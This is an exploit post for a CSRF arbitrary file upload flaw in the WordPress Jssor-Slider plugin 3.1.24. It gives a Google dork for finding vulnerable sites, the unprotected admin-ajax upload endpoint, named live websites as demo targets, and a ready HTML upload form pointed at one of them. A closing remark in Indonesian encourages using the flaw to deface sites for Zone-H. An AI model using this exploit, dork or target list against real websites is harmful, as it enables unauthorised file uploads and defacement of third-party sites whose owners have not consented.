Exploit WordPress Jssor-Slider Plugins 3.1.24 CSRF Arbitrary File Upload

WordPress Jssor-Slider Plugins 3.1.24 CSRF Arbitrary File Upload

##########################################################################

# Exploit Title : WordPress Jssor-Slider Plugins 3.1.24 CSRF Arbitrary File Upload
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 14/02/2019
# Vendor Homepage : jssor.com ~ drcsystems.com ~ ethicsolutions.com
# Software Download Link : downloads.wordpress.org/plugin/jssor-slider.3.1.24.zip
# Software Information Link : wordpress.org/plugins/jssor-slider/
# Software Affected Version : 3.1.24 and previous versions
# Tested On : Windows
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:''/wp-content/jssor-slider/''
# Vulnerability Type : CWE-284 [ Improper Access Control ] -  CWE-862  [ Missing Authorization ]
# CXSecurity Reference Link : cxsecurity.com/ascii/WLB-2018060226
# Cyberizm Reference Link : cyberizm.org/cyberizm-wordpress-drcsystems-ethicsolutions-jssorslider-exploit.html
##########################################################################

Exploit : /wp-admin/admin-ajax.php?param=upload_slide&action=upload_library
Demo :

• https://www.mortgagebridge.ca/wp-admin/admin-ajax.php?param=upload_slide&action=upload_library
• http://sss2003.org/wp-admin/admin-ajax.php?param=upload_slide&action=upload_library

========================================================================

CSRF :

<html>
<body>
<form action="https://www.mortgagebridge.ca/wp-admin/admin-ajax.php?param=upload_slide&action=upload_library" method="POST" enctype="multipart/form-data" >
<input type="file" name="file" />
<input type="submit" value="Submit" />
</form>
</body>
</html

=================================================================
Ext ? html, jpg, txt dll (Tidak support untuk php)

Letak ? : target.com/wp-content/jssor-slider/jssor-uploads/filemu.html

Contoh : https://www.mortgagebridge.ca/wp-content/jssor-slider/jssor-uploads/id.html

Mayan buat ngepuss Zone-H hehehe
Jangan lupa like fanspage kami -> Family Attack Cyber
-radicalhaxor